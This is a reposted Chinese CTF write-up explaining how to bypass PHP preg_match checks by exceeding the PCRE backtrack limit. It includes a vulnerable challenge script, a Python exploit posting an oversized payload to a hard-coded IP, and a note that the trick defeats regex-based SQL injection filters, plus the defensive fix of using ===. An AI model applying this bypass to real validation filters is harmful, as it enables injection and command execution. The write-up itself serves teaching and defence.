文章目录 前言0x01 正则表达式是什么0x02 回溯的过程是怎样的0x03PHP的pcre.backtrack_limit限制利用0x04 PCRE另
PHPerror_reporting(0);highlight_file(__FILE__);$a = $_POST['heizi'];if (isset($a)){ if(substr($a,0,5) == "aikun" and substr($a,-10,10) == "xiaojijiao"){ # 限制死了,aikun字符xiaojijiao if ($a == "aikunxiaojijiao"){ die("nononono"); } if (preg_match('/aikun.+?xiaojijiao/is',$a)){ die("Hack!!!"); } system("ls"); # 目的 }else{ die("what?"); }}?> 由上所示,我们的目的就是输出
system("ls");,可是前面三条if语句已经写死了,不可能数组绕过:preg_match只能处理字符串,当传入的subject是数组时会返回false,不可能换行符绕过, s :.可以表示换行
先不急,先看如下的:
有限状态自动机接受的语言类。(有限状态自动机:要么匹配成功,要么失败)由于NFA的执行过程存在回溯,所以其性能会劣于DFA,但它支持更多功能。大多数程序语言都使用了NFA作为正则引擎,其中也包括php使用的PCRE库。
对于
preg_match('/aikun.+?xiaojijiao/is',$a),如果$a=aikunaaaaxiaojijiao
如上所示,如果一直匹配是不是会浪费系统资源,只要你写的正则足够复杂,你就可以让匹配引擎一直匹配,所有
PHP为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设定了一个回溯次数上限pcre.backtrack_limit。
我们可以通过var_dump(ini_get(‘pcre.backtrack_limit’));的方式查看当前环境下的上限:(回溯次数上限默认是100)
import requestsdata = { 'heizi': 'aikun' +'a'*1000000 + 'xiaojijiao'}res = requests.post('Http://182.148.156.200:9134/', data=data, allow_redirects=False)print(res.text) 如上所示写一个脚本,让匹配引擎匹配超过1000000次,preg_match(‘/aikun.+?xiaojijiao/is’,$a)返回false,目的达到
对于sql注入,我们都知道就是字符匹配,发现使用了preg_match()函数就可以使用回溯进行绕过:
if(preg_match('/UNION/is', $input)) { die('SQL Injection'); } 如果用preg_match对字符串进行匹配,一定要使用===全等号来判断返回值,就算回溯成功false也不全等于0
来源地址:https://blog.csdn.net/qq_53568983/article/details/129300129
--结束END--
本文标题: CTF之preg_match()函数绕过
本文链接: https://www.lsjlt.com/news/402774.html(转载时请注明来源链接)
有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
回答
回答
回答
回答
回答
回答
回答
回答
回答
回答
0